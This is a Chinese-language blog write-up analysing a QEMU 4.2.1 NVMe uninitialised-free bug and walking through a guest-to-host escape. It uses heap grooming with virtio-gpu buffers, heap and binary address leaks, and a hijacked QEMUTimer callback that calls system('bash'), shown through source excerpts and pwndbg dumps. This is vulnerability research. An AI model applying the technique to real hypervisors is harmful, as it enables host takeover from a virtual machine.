盒子
盒子
文章目录
  1. 0x01 TL;DR
  2. 0x02 Version
  3. 0x03 Root Case
  4. 0x04 Exploit
    1. 0x41 Heap Fengshui
    2. 0x42 Information Leak
    3. 0x43 System Bash
    4. 0x44 Control PC
  5. 0x05 Summary
  6. 0x06 Some Tricks
  7. 0x08 Reference

QEMU-Misuse-ErrorHandling-Bug漏洞分析

0x01 TL;DR

本文根据光年实验室在BlackHat Asia2021的议题《Scavenger: Misuse Error Handling Leading to Qemu/KVM Escape》进行了深入分析,具体内容在给出的PPT中已经说的比较清楚了,我这里就着重说一下我写利用过程当中遇到的一些难点和解决方法。

0x02 Version

QEMU版本:4.2.1

Host版本:Ubuntu 18.04.4 LTS

Guest版本:Kernel 5.4.40

0x03 Root Case

漏洞代码出现在hw/block/nvme.c:nvme_dma_write_prp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static uint16_t nvme_dma_write_prp(NvmeCtrl *n, uint8_t *ptr, uint32_t len,
uint64_t prp1, uint64_t prp2)
{
QEMUSGList qsg; //未初始化qsg的内容
QEMUIOVector iov;
uint16_t status = NVME_SUCCESS;

if (nvme_map_prp(&qsg, &iov, prp1, prp2, len, n)) {
//......
}
}

static uint16_t nvme_map_prp(QEMUSGList *qsg, QEMUIOVector *iov, uint64_t prp1,
uint64_t prp2, uint32_t len, NvmeCtrl *n)
{
hwaddr trans_len = n->page_size - (prp1 % n->page_size);
trans_len = MIN(len, trans_len);
int num_prps = (len >> n->page_bits) + 1;

//......
else if (n->cmbsz && prp1 >= n->ctrl_mem.addr &&
prp1 < n->ctrl_mem.addr + int128_get64(n->ctrl_mem.size)) {
qsg->nsg = 0;
qemu_iovec_init(iov, num_prps); //初始化iov内存空间
qemu_iovec_add(iov, (void *)&n->cmbuf[prp1 - n->ctrl_mem.addr], trans_len);
} else {
pci_dma_sglist_init(qsg, &n->parent_obj, num_prps); //初始化qsg内存空间
qemu_sglist_add(qsg, prp1, trans_len);
}
len -= trans_len;
if (len) {
if (unlikely(!prp2)) {
trace_nvme_err_invalid_prp2_missing();
goto unmap;
}
//......
}
unmap:
qemu_sglist_destroy(qsg); //回收qsg内存空间
return NVME_INVALID_FIELD | NVME_DNR;
}

可以很明显的看出在nvme_dma_write_prp函数中并未初始化qsg。导致后续在nvme_map_prp函数中的错误处理(并未正确的处理qsg的空间释放)可以直接释放并未初始化的qsg空间,连续两个未初始化直接会造成crash

因为此处的qsg是被赋值了栈上的脏数据,因此后续被free时会造成崩溃。

0x04 Exploit

回到前面所说的例子,qsg可被栈上的数据控制,但是我们无法控制栈上的脏数据,因此这条路行不通。看下面这个函数hw/block/nvme.c:nvme_rw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static uint16_t nvme_rw(NvmeCtrl *n, NvmeNamespace *ns, NvmeCmd *cmd,
NvmeRequest *req)
{
if (nvme_map_prp(&req->qsg, &req->iov, prp1, prp2, data_size, n)) {
//......
}
//......
}

static void nvme_init_sq(NvmeSQueue *sq, NvmeCtrl *n, uint64_t dma_addr,
uint16_t sqid, uint16_t cqid, uint16_t size)
{
int i;
NvmeCQueue *cq;

//......
sq->io_req = g_new(NvmeRequest, sq->size); // 申请req,NvmeRequest结构体size为0xa0

QTAILQ_INIT(&sq->req_list);
QTAILQ_INIT(&sq->out_req_list);
for (i = 0; i < sq->size; i++) {
sq->io_req[i].sq = sq;
QTAILQ_INSERT_TAIL(&(sq->req_list), &sq->io_req[i], entry);
}
sq->timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, nvme_process_sq, sq);
//......
}

nvme_rw函数中传入的qsg是在nvme_init_sq函数中g_new()得来的,也就是在堆中,那么这里我们很有可能可以控制qsg的内容。接下来我们就需要在QEMU中寻找满足相应的填充堆块:

  1. 堆块size必须为0xa0*n
  2. 堆块内容可控,且在0x40offset处(req->qsg)也需要有我们能控制的object指针

在作者的PPT当中并没有找到合适的填充堆块,提到在xhci设备中有一些感兴趣的堆块,但是并不在同一线程的堆块中。我猜测作者所说的应该是这一块:

1
2
3
4
5
6
7
8
9
10
11
static XHCITransfer *xhci_ep_alloc_xfer(XHCIEPContext *epctx,
uint32_t length)
{
uint32_t limit = epctx->nr_pstreams + 16;
XHCITransfer *xfer;

xfer = g_new0(XHCITransfer, 1); // XHCITransfer->packet->iov->iov_base
//......

return xfer;
}

但是随后作者在virtio-gpu设备中找到了比较好的填充堆块hw/display/virtio-gpu.c:virtio_gpu_create_mapping_iov

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int virtio_gpu_create_mapping_iov(VirtIOGPU *g,
struct virtio_gpu_resource_attach_backing *ab,
struct virtio_gpu_ctrl_command *cmd,
uint64_t **addr, struct iovec **iov)
{
struct virtio_gpu_mem_entry *ents;
size_t esize, s;
int i;

esize = sizeof(*ents) * ab->nr_entries;
ents = g_malloc(esize);
s = iov_to_buf(cmd->elem.out_sg, cmd->elem.out_num,
sizeof(*ab), ents, esize);

*iov = g_malloc0(sizeof(struct iovec) * ab->nr_entries);
if (addr) {
*addr = g_malloc0(sizeof(uint64_t) * ab->nr_entries);
}
for (i = 0; i < ab->nr_entries; i++) {
uint64_t a = le64_to_cpu(ents[i].addr);
uint32_t l = le32_to_cpu(ents[i].length);
hwaddr len = l;
(*iov)[i].iov_len = l;
(*iov)[i].iov_base = dma_memory_map(VIRTIO_DEVICE(g)->dma_as,
a, &len, DMA_DIRECTION_TO_DEVICE); //可控堆块内容
}
//......
}

struct iovec // size = 0x10
{
void *iov_base; /* Pointer to data. */
size_t iov_len; /* Length of data. */
};

在偏移0x40处是iov->iov_base,根据上面代码可以看到此处的内容是dma_memory_map的映射地址,也就是说我们在guest空间可以访问到。因此这里我们完全可控,可以利用这块地址做UAF。(越看越有CTF堆题的味道了…)

0x41 Heap Fengshui

在正式开始利用之前我们需要布局好比较稳定的堆块空间。因为我们需要保证在前期构造堆块后务必让nvme中的NvmeRequest能够申请到我们所构造的堆块。

这里我们利用nvme设备中的malloc操作函数来构造堆申请原语:

1
2
3
4
5
6
7
8
9
10
11
12
static void nvme_init_sq(NvmeSQueue *sq, NvmeCtrl *n, uint64_t dma_addr,
uint16_t sqid, uint16_t cqid, uint16_t size)
{
int i;
NvmeCQueue *cq;

sq->cqid = cqid;
sq->head = sq->tail = 0;
sq->io_req = g_new(NvmeRequest, sq->size); //堆申请原语

//......
}

对于具体堆块size就根据自己构造的堆块size来改变。我后续需要用到0x290大小的堆块(包含head),这里就采用sq->size=4来进行堆喷。

0x42 Information Leak

首先在virtio-gpu中构造好一个0x290 sizetcache bin

具体堆布局如下:

1
2
3
pwndbg> tcachebins
0x280 [ 1]: 0x555557570210 ◂— 0x0
0x290 [ 2]: 0x5555571418a0 —▸ 0x55555798e800 ◂— 0x0

堆块内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/20xg 0x5555571418a0-0x10
0x555557141890: 0x0000000000000040 0x0000000000000290
0x5555571418a0: 0x000055555798e800 0x00005555567f5010
0x5555571418b0: 0x0000000139f1c010 0x0000000000000100
0x5555571418c0: 0x0000000139f1c020 0x0000000000000100
0x5555571418d0: 0x0000000139f1c030 0x0000000000000100
0x5555571418e0: 0x0000000139f1c040 0x0000000000000100
0x5555571418f0: 0x0000000139f1c050 0x0000000000000000 //此处必须为0
0x555557141900: 0x0000000139f1c060 0x0000000000000100
0x555557141910: 0x0000000139f1c070 0x0000000000000100
0x555557141920: 0x0000000139f1c080 0x0000000000000100
pwndbg> x/20xg 0x55555798e800-0x10
0x55555798e7f0: 0x0000000000000000 0x0000000000000291
0x55555798e800: 0x0000000000000000 0x00005555567f5010
0x55555798e810: 0x00007fffa1d1c010 0x0000000000000100
0x55555798e820: 0x00007fffa1d1c020 0x0000000000000100
0x55555798e830: 0x00007fffa1d1c030 0x0000000000000100
0x55555798e840: 0x00007fffa1d1c040 0x0000000000000100
0x55555798e850: 0x0000000000000000 0x0000000000000000 //dev
0x55555798e860: 0x0000000000000000 0x0000000000000000
0x55555798e870: 0x0000000000000000 0x0000000000000000
0x55555798e880: 0x0000000000000000 0x0000000000000000

地址0x55555798e840处就是后续qsg的位置。

往后就利用nvme中的申请未初始化堆块来填充NvmeRequest内容。

这里需要注意的一个点就是地址0x55555798e858处,这里后续是qsg->dev。在qemu_sglist_destroy函数中有这样一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void qemu_sglist_destroy(QEMUSGList *qsg)
{
object_unref(OBJECT(qsg->dev)); //(1)
g_free(qsg->sg);
memset(qsg, 0, sizeof(*qsg));
}

void object_unref(Object *obj)
{
if (!obj) {
return;
}
g_assert(obj->ref > 0);

//......
}

所以必须是使得qsg-dev的值为0才能pass检查。

最后在未初始化freeqemu_sglist_destroy(qsg)可以看到如下的情况,正好分配到了我们构造的堆块中:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> p *qsg
$2 = {
sg = 0x7fffa1d43040,
nsg = 0,
nalloc = 0,
size = 0,
dev = 0x0,
as = 0x0
}
pwndbg> p qsg
$3 = (QEMUSGList *) 0x55555798e840

free后:

1
2
3
pwndbg> tcachebins
0x280 [ 1]: 0x555557570210 ◂— 0x0
0x290 [ 1]: 0x7fffa1d43040 ◂— 0x0

堆块情况:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x7fffa1d43040-0x10
0x7fffa1d43030: 0x0000000000000000 0x0000000000000291
0x7fffa1d43040: 0x0000000000000000 0x00005555567f5010
0x7fffa1d43050: 0x0000000000000000 0x0000000000000000
0x7fffa1d43060: 0x0000000000000000 0x0000000000000000
0x7fffa1d43070: 0x0000000000000000 0x0000000000000000
0x7fffa1d43080: 0x0000000000000000 0x0000000000000000
0x7fffa1d43090: 0x0000000000000000 0x0000000000000000
0x7fffa1d430a0: 0x0000000000000000 0x0000000000000000
0x7fffa1d430b0: 0x0000000000000000 0x0000000000000000
0x7fffa1d430c0: 0x0000000000000000 0x0000000000000000

可见在0x7fffa1d43048处是tcache bin entry,我们便可以根据这个地址泄露出heap的基地址。但光只有这一个地址是远远不够的。

往后,我们可以把这一块mmap映射的堆块用作nvme申请的NvmeRequest堆块,并且再执行完链表初始化后,也就是这一块函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void nvme_init_sq(NvmeSQueue *sq, NvmeCtrl *n, uint64_t dma_addr,
uint16_t sqid, uint16_t cqid, uint16_t size)
{
int i;
NvmeCQueue *cq;

sq->io_req = g_new(NvmeRequest, sq->size);

QTAILQ_INIT(&sq->req_list);
QTAILQ_INIT(&sq->out_req_list);
for (i = 0; i < sq->size; i++) {
sq->io_req[i].sq = sq;
QTAILQ_INSERT_TAIL(&(sq->req_list), &sq->io_req[i], entry); //插入链表
}
//......
}

再来看此刻的堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/30xg 0x7fffa1d43040-0x10
0x7fffa1d43030: 0x0000000000000000 0x0000000000000291
0x7fffa1d43040: 0x0000555557095f00 0x0000000000000000
0x7fffa1d43050: 0x0000000139f43000 0x0000000068736162
0x7fffa1d43060: 0x0000000139f43000 0x0000000000000100
0x7fffa1d43070: 0x0000000139f43000 0x0000000000000100
0x7fffa1d43080: 0x0000000139f43000 0x0000000000000100
0x7fffa1d43090: 0x0000000139f43050 0x0000000000000000
0x7fffa1d430a0: 0x0000000139f43000 0x0000000000000100
0x7fffa1d430b0: 0x0000000139f43000 0x0000000000000100
0x7fffa1d430c0: 0x0000000139f43000 0x0000000000000100
0x7fffa1d430d0: 0x00007fffa1d430e0 ->链表地址 0x0000555557095f30
0x7fffa1d430e0: 0x0000555557095f00 0x0000000000000100
0x7fffa1d430f0: 0x0000000139f43000 0x0000000000000100

可以看到在0x7fffa1d430d0地址处就有着稳定的mmap映射地址,从而我们还可以泄露得到QEMU将我们guest空间映射后的内存空间地址。

可是还是不够,我们还需要泄露程序的基地址,这一部分后续连着和控制执行流一起说。

0x43 System Bash

在说控制流之前我们先说shell写入过程,在最终取得的system("/bin/bash")之前,我们还必须得知字符串/bin/bash的地址。这里其实有很多方法,比如在ELF程序中搜索相关的字符串根据相对基地址的偏移计算出来,比如在堆中搜索,又比如libc搜索,更离谱的话可以one_gadget省去字符串的麻烦…

但是做利用必然是为了追求稳定和可变性。由我们自己写shell并且还能知道我们写入的地址,那么这才是最稳定的。

我这里因为没有找到很好的方法写shell,也是偷懒,只达到了写四字节shell的目的。总的来说好像确实够用了(写个“bash”就行),希望读者能够找出更好的写多字节shell的方法。

回到之前第一次free的状态,也就是堆布局如下:

1
2
3
pwndbg> tcachebins
0x280 [ 1]: 0x555557570210 ◂— 0x0
0x290 [ 1]: 0x7fffa1d43040 ◂— 0x0

我们再次进入到virtio-gpu的伪造堆块过程当中:

此时ents申请到了0x7ffmmap堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p ents
$2 = (struct virtio_gpu_mem_entry *) 0x7fffa1d1e040
pwndbg> x/20xg 0x7fffa1d1e040-0x10
0x7fffa1d1e030: 0x0000000000000000 0x0000000000000291
0x7fffa1d1e040: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e050: 0x0000000139f1e000 0x0000000068736162 //在ents->length字段写入shell
0x7fffa1d1e060: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e070: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e080: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e090: 0x0000000139f1e050 0x0000000000000000
0x7fffa1d1e0a0: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e0b0: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e0c0: 0x0000000139f1e000 0x0000000000000100

在地址0x7fffa1d1e058处的length字段写入shell字符串(此处为"bash"),不能在0x7fffa1d1e040,也就是ents[0]处写入,因为后续该堆块被释放后内容会被覆盖。

随后经过iov申请堆块、释放。最终tcache bin布局如下所示:

1
2
pwndbg> tcachebins
0x290 [ 2]: 0x7fffa1d1e040 —▸ 0x555557973eb0 ◂— 0x0

堆块内容如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/20xg 0x7fffa1d1e040-0x10
0x7fffa1d1e030: 0x0000000000000000 0x0000000000000291
0x7fffa1d1e040: 0x0000555557973eb0 ->next chunk 0x00005555567f5010
0x7fffa1d1e050: 0x0000000139f1e000 0x0000000068736162
0x7fffa1d1e060: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e070: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e080: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e090: 0x0000000139f1e050 0x0000000000000000
0x7fffa1d1e0a0: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e0b0: 0x0000000139f1e000 0x0000000000000100
0x7fffa1d1e0c0: 0x0000000139f1e000 0x0000000000000100
pwndbg> x/20xg 0x0000555557973eb0-0x10
0x555557973ea0: 0x0000555557973e30 0x0000000000000291
0x555557973eb0: 0x0000000000000000 0x00005555567f5010
0x555557973ec0: 0x00007fffa1d1e000 0x0000000068736162 // shell字段
0x555557973ed0: 0x0000000000000000 0x0000000000000000
0x555557973ee0: 0x0000000000000000 0x0000000000000000
0x555557973ef0: 0x0000000000000000 0x0000000000000000
0x555557973f00: 0x0000000000000000 0x0000000000000000
0x555557973f10: 0x0000000000000000 0x0000000000000000
0x555557973f20: 0x0000000000000000 0x0000000000000000
0x555557973f30: 0x0000000000000000 0x0000000000000000

在地址0x7fffa1d1e040处存放着下个堆块的地址,而下个堆块在地址0x555557973ec8又存放着shell字符串,因此,我们便能够得到写入任意shell字符串的地址。

在这里我还想提一嘴的是:有的读者可能看到这个小标题开头部分就会问,你这不是多此一举么?既然我们能够读写mmap的映射区域,为什么不把shell写在这块区域呢?而且前面也已经泄露得到了mmap映射区域的地址。

我想说的是,没错。有了mmap映射区域的地址确实可以随心所欲的写shell,而不用像我前面提到的这个方法这么麻烦。

但是,我经过调试,在最终QEMU中执行控制流到system("shell")后,shell字符串地址为0x7ffmmap映射区域,最终会新开一个线程,在新线程当中,并没有0x7fmmap映射地址。也就是传入的字符串参数not access,最终控制会失败。所以这也是为什么我花这么绕的力气来控制shell

可以看一下我的调试过程。进入system调用初始:

system初始

可以看到此时是存在ls字符串的空间的。

往后在执行SYS_clone前:

clone前

此时的shell地址还是存在的,SYS_clone后:

clone后

此时在另一个线程中已经不存在这个区域的memory了。

1
2
pwndbg> vmmap 0x7f2dd9d1c300
There are no mappings for specified address or module.

具体原因我也没有追溯,就留给读者自行调试解决了。

0x44 Control PC

最终要我们需要控制程序的执行流是需要控制RIP。回溯一下先前我们阅读的nvme_init_sq()这个函数代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static void nvme_init_sq(NvmeSQueue *sq, NvmeCtrl *n, uint64_t dma_addr,
uint16_t sqid, uint16_t cqid, uint16_t size)
{
//......
QTAILQ_INIT(&sq->req_list);
QTAILQ_INIT(&sq->out_req_list);
for (i = 0; i < sq->size; i++) {
sq->io_req[i].sq = sq;
QTAILQ_INSERT_TAIL(&(sq->req_list), &sq->io_req[i], entry);
}
sq->timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, nvme_process_sq, sq); //初始化timer

assert(n->cq[cqid]);
cq = n->cq[cqid];
QTAILQ_INSERT_TAIL(&(cq->sq_list), sq, entry);
n->sq[sqid] = sq;
}

struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int attributes;
int scale;
};

立马就能联想到QEMU中常见的利用QEMUTimer.cb(QEMUTimer.opaque)劫持控制流的操作。在nvme_init_sq()中需要申请0x40(包含head)大小的timer结构体,因此,这里我们就可以像先前一样来伪造一个timer的堆块,使得该函数申请的时候能够正好申请到我们伪造的堆块中,从而达到控制timer结构的目的。

首先我们需要像先前一样,将mmap映射区域的0x40 size的伪造堆块释放进tcache bin中。(这里其实还应当观察一下堆块布局,必要的时候需要利用堆风水稳定堆布局),释放之前堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> tcachebins
tcachebins
0x40 [ 7]: 0x563317b78f60 —▸ 0x563317a6d190 —▸ 0x563317929050 —▸ 0x563317a6c850 —▸ 0x563317a17f90 —▸ 0x5633179286a0 —▸ 0x563317925a30 ◂— 0x0
0x50 [ 6]: 0x56331763b340 —▸ 0x563316e8bc00 —▸ 0x563316e7e040

pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

tcache bin0x40大小的size已经填满了(尝试了很多次基本都是满的,就不堆风水了)。因此后续释放的时候会进入fastbin中:

1
2
3
4
5
6
7
8
9
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fea15d1f030 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

执行完timer_new_ns()后:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> p sq.timer
$1 = (QEMUTimer *) 0x7fea15d1f040
pwndbg> p *sq.timer
$2 = {
expire_time = -1,
timer_list = 0x563316e20880,
cb = 0x56331552a879 <nvme_process_sq>,
opaque = 0x563317e70c20,
next = 0x0,
attributes = 0,
scale = 1
}

成功把伪造堆块分配给timer。由于此时timer->cb是函数nvme_process_sq(),因此我们就能够泄露得到程序的基地址,从而得到system的函数地址。

这时候就随意更改cbopaque了。最终实现控制RIP

控制后的timer

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> p *sq.timer
$3 = {
expire_time = -1,
timer_list = 0x563316e20880,
cb = 0x5633152d7ef0 <system@plt>,
opaque = 0x563317e6cec8,
next = 0x0,
attributes = 0,
scale = 1
}
pwndbg> x/1s 0x563317e6cec8
0x563317e6cec8: "bash"

0x05 Summary

其实利用不难,主要在一些细节部分需要特别注意一下。以及在堆块的构造、分配、释放等等也需要仔细一些。如果对堆的申请与释放比较熟悉的话就很容易上手了。

将未初始化分配转化成UAF其实是比较巧妙的,以往在QEMU中出现的UAF漏洞几乎都是不可利用的,有了这个议题提出的全新的利用方法,对后续QEMU的漏洞利用来说也是增加了一些技巧的。

但是比较可惜的是议题作者并没有分享他们自身是如何fuzz出这个漏洞的,只是简单的一笔带过,比较遗憾。

0x06 Some Tricks

  1. 我经过反复调试后得出的结论:QEMUg_new()g_malloc()优先从tcache bin中取堆块,g_malloc0()优先不从tcache bin中取堆块,具体原因待细究。(这部分会影响写利用)
  2. 尽量不用gdb ./qemu-system-x86_64 -q调试,用gdb attach调试比较好,前者的堆块布局和真实的堆块布局有区别。
  3. GPU创建res的时候(也就是virtio_gpu_resource_create_2d函数),其中的pixman_image_create_bits()函数会有一个malloc的过程,size0x110(包含head),调试利用的时候会有影响。nvme_map_prp中的qemu_iovec_init()也同样。

0x08 Reference

  1. https://blackhat.app.swapcard.com/event/black-hat-asia-2021/planning/UGxhbm5pbmdfMzU3MDI0
  2. https://github.com/hustdebug/scavenger
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫